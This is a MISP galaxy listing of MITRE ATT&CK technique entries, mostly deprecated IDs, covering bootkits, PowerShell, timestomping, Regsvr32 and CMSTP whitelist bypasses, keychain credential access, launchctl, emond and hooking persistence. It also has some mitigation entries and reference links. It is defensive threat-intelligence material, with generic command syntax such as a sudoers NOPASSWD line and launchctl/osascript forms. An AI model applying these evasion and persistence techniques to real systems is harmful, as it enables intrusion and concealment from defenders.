The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

Volume Boot Record

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.

The tag is: *misp-galaxy:mitre-attack-pattern="Bootkit - T1067"*

View relationships graph

Bootkit - T1067 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"

Table 4571. Table References

Links
http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion
https://attack.mitre.org/techniques/T1067
https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf

PowerShell - T1086

PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

Administrator permissions are required to use PowerShell to connect to remote systems.

A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)

PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="PowerShell - T1086"*

View relationships graph

PowerShell - T1086 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 4572. Table References

Links
http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
http://www.sixdub.net/?p=367
https://attack.mitre.org/techniques/T1086
https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/
https://github.com/jaredhaight/PSAttack
https://github.com/mattifestation/PowerSploit
https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/
https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx
https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html

Timestomp - T1099

Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)

The tag is: *misp-galaxy:mitre-attack-pattern="Timestomp - T1099"*

View relationships graph

Timestomp - T1099 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

Table 4573. Table References

Links
http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html
https://attack.mitre.org/techniques/T1099

Regsvr32 - T1117

Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)

Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.

Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117"*

View relationships graph

Regsvr32 - T1117 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 4574. Table References

Links
https://attack.mitre.org/techniques/T1117
https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
https://support.microsoft.com/en-us/kb/249873
https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/
https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html

InstallUtil - T1118

InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.

Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)

The tag is: *misp-galaxy:mitre-attack-pattern="InstallUtil - T1118"*

View relationships graph

InstallUtil - T1118 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004" with estimative-language:likelihood-probability="almost-certain"

Table 4575. Table References

Links
https://attack.mitre.org/techniques/T1118
https://lolbas-project.github.io/lolbas/Binaries/Installutil/
https://msdn.microsoft.com/en-us/library/50614e95.aspx

CMSTP - T1191

The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation:

Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.

CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="CMSTP - T1191"*

View relationships graph

CMSTP - T1191 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"

Table 4576. Table References

Links
http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
https://attack.mitre.org/techniques/T1191
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)
https://github.com/api0cradle/UltimateAppLockerByPassList
https://msitpros.com/?p=3960
https://twitter.com/ItsReallyNick/status/958789644165894146
https://twitter.com/NickTyrer/status/958450014111633408

Keychain - T1142

Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.

To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.

The tag is: *misp-galaxy:mitre-attack-pattern="Keychain - T1142"*

View relationships graph

Keychain - T1142 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Keychain - T1555.001" with estimative-language:likelihood-probability="almost-certain"

Table 4577. Table References

Links
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
https://attack.mitre.org/techniques/T1142
https://en.wikipedia.org/wiki/Keychain_(software)

Launchctl - T1152

Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> — /Path/to/thing/to/execute "arg" "arg" "arg"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges.

Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.

The tag is: *misp-galaxy:mitre-attack-pattern="Launchctl - T1152"*

View relationships graph

Launchctl - T1152 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001" with estimative-language:likelihood-probability="almost-certain"

Table 4578. Table References

Links
https://attack.mitre.org/techniques/T1152
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

Source - T1153

This technique has been deprecated and should no longer be used.

The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>.**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]</code>. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)

Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.

The tag is: *misp-galaxy:mitre-attack-pattern="Source - T1153"*

Table 4579. Table References

Links
https://attack.mitre.org/techniques/T1153
https://ss64.com/bash/source.html

Trap - T1154

The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)

The tag is: *misp-galaxy:mitre-attack-pattern="Trap - T1154"*

View relationships graph

Trap - T1154 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Trap - T1546.005" with estimative-language:likelihood-probability="almost-certain"

Table 4580. Table References

Links
https://attack.mitre.org/techniques/T1154
https://bash.cyberciti.biz/guide/Trap_statement

https://ss64.com/bash/trap.html

HISTCONTROL - T1148

The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.

The tag is: *misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148"*

View relationships graph

HISTCONTROL - T1148 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Impair Command History Logging - T1562.003" with estimative-language:likelihood-probability="almost-certain"

Table 4581. Table References

Links
https://attack.mitre.org/techniques/T1148
https://capec.mitre.org/data/definitions/13.html

Defacement - T1491

Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages.

The tag is: *misp-galaxy:mitre-attack-pattern="Defacement - T1491"*

Table 4582. Table References

Links
https://attack.mitre.org/techniques/T1491

AppleScript - T1155

macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e "script here"</code>.

The tag is: *misp-galaxy:mitre-attack-pattern="AppleScript - T1155"*

View relationships graph

AppleScript - T1155 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002" with estimative-language:likelihood-probability="almost-certain"

Table 4583. Table References

Links
https://attack.mitre.org/techniques/T1155
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/

Geofencing - T1581

Adversaries may use a device's geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv)

[Geofencing](https://attack.mitre.org/techniques/T1581) is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device's location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements.

One method to accomplish [Geofencing](https://attack.mitre.org/techniques/T1581) on Android is to use the built-in Geofencing API to automatically trigger certain behaviors when the device enters or exits a specified radius around a geographical location. Similar to other [Geofencing](https://attack.mitre.org/techniques/T1581) methods, this requires that the user has granted the `ACCESS_FINE_LOCATION` and `ACCESS_BACKGROUND_LOCATION` permissions. The latter is only required if the application targets Android 10 (API level 29) or higher. However, Android 11 introduced additional permission controls that may restrict background location collection based on user permission choices at runtime. These additional controls include “Allow only while using the app”, which will effectively prohibit background location collection.(Citation: Android Geofencing API)

Similarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call `requestWhenInUseAuthorization()` or `requestAlwaysAuthorization()`, depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device’s location, including one-time use and only when the application is running in the foreground.(Citation: Apple Location Services)

[Geofencing](https://attack.mitre.org/techniques/T1581) can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific [Input Prompt](https://attack.mitre.org/techniques/T1411)s and/or advertisements.

The tag is: *misp-galaxy:mitre-attack-pattern="Geofencing - T1581"*

Table 4584. Table References

Links
https://attack.mitre.org/techniques/T1581
https://blog.lookout.com/esurv-research
https://developer.android.com/training/location/geofencing
https://developer.apple.com/documentation/corelocation/requesting_authorization_for_location_services

Emond - T1519

Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.

The tag is: *misp-galaxy:mitre-attack-pattern="Emond - T1519"*

View relationships graph

Emond - T1519 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Emond - T1546.014" with estimative-language:likelihood-probability="almost-certain"

Table 4585. Table References

Links
http://www.magnusviri.com/Mac/what-is-emond.html
https://attack.mitre.org/techniques/T1519
https://www.sentinelone.com/blog/how-malware-persists-on-macos/
https://www.xorrior.com/emond-persistence/

Hooking - T1617

Adversaries may utilize hooking to hide the presence of artifacts associated with their behaviors to evade detection. Hooking can be used to modify return values or data structures of system APIs and function calls. This process typically involves using 3rd party root frameworks, such as Xposed or Magisk, with either a system exploit or pre-existing root access. By including custom modules for root frameworks, adversaries can hook system APIs and alter the return value and/or system data structures to alter functionality/visibility of various aspects of the system.

The tag is: *misp-galaxy:mitre-attack-pattern="Hooking - T1617"*

Table 4586. Table References

Links
https://attack.mitre.org/techniques/T1617

Sudo - T1169

The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware).

Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.

The tag is: *misp-galaxy:mitre-attack-pattern="Sudo - T1169"*

View relationships graph

Sudo - T1169 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003" with estimative-language:likelihood-probability="almost-certain"

Table 4587. Table References

Links
https://attack.mitre.org/techniques/T1169
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/

Hooking - T1179

Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions.

Hooking involves redirecting calls to these functions and can be implemented via:

- **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)
- **Import address table (IAT) hooking**, which use modifications to a process's IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)
- **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.

Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)

Hooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)

The tag is: *misp-galaxy:mitre-attack-pattern="Hooking - T1179"*

View relationships graph

Hooking - T1179 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"

Table 4588. Table References

Links
http://www.gmer.net/
https://attack.mitre.org/techniques/T1179
https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/
https://github.com/jay/gethooks
https://github.com/prekageo/winhook
https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx
https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx
https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis
https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html
https://www.adlice.com/userland-rootkits-part-1-iat-hooks/
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.exploit-db.com/docs/17802.pdf
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918
https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/
https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf
https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/

DNSCalc - T1324

This technique has been deprecated. Please use [DNS Calculation](https://attack.mitre.org/techniques/T1568/003).

DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda)

(Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)

The tag is: *misp-galaxy:mitre-attack-pattern="DNSCalc - T1324"*

Table 4589. Table References

Links
https://attack.mitre.org/techniques/T1324
https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/

Phishing - T1566

Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.

Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.

The tag is: *misp-galaxy:mitre-attack-pattern="Phishing - T1566"*

Table 4590. Table References

Links
https://attack.mitre.org/techniques/T1566
https://capec.mitre.org/data/definitions/98.html
https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf

Keychain - T1579

Adversaries may collect the keychain storage data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials.

On the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, an adversary can access the entire encrypted database.(Citation: Apple Keychain Services)(Citation: Elcomsoft Decrypt Keychain)

The tag is: *misp-galaxy:mitre-attack-pattern="Keychain - T1579"*

Table 4591. Table References

Links
https://attack.mitre.org/techniques/T1579
https://blog.elcomsoft.com/2018/12/six-ways-to-decrypt-iphone-passwords-from-the-keychain/
https://developer.apple.com/documentation/security/keychain_services
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html

Course of Action

ATT&CK Mitigation.

Course of Action is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
MITRE

Registry Run Keys / Startup Folder Mitigation - T1060

Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Registry Run Keys / Startup Folder Mitigation - T1060"*

View relationships graph

Registry Run Keys / Startup Folder Mitigation - T1060 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 4592. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

https://attack.mitre.org/mitigations/T1060
https://technet.microsoft.com/en-us/library/ee791851.aspx

Exfiltration Over Command and Control Channel Mitigation - T1041

Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Exfiltration Over Command and Control Channel Mitigation - T1041"*

View relationships graph

Exfiltration Over Command and Control Channel Mitigation - T1041 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

Table 4593. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1041

Exfiltration Over Other Network Medium Mitigation - T1011

Ensure host-based sensors maintain visibility into usage of all network adapters and prevent the creation of new ones where possible. (Citation: Microsoft GPO Bluetooth FEB 2009) (Citation: TechRepublic Wireless GPO FEB 2009)

The tag is: *misp-galaxy:mitre-course-of-action="Exfiltration Over Other Network Medium Mitigation - T1011"*

View relationships graph

Exfiltration Over Other Network Medium Mitigation - T1011 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium - T1011" with estimative-language:likelihood-probability="almost-certain"

Table 4594. Table References

Links
https://attack.mitre.org/mitigations/T1011
https://technet.microsoft.com/library/dd252791.aspx
https://www.techrepublic.com/blog/data-center/configuring-wireless-settings-via-group-policy/

Disable or Remove Feature or Program - M1042

Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="Disable or Remove Feature or Program - M1042"*

View relationships graph

Disable or Remove Feature or Program - M1042 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1552.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Mavinject - T1218.013" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1121" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Screensaver - T1180" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1563.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Service Session Hijacking - T1563" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Bluetooth - T1011.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
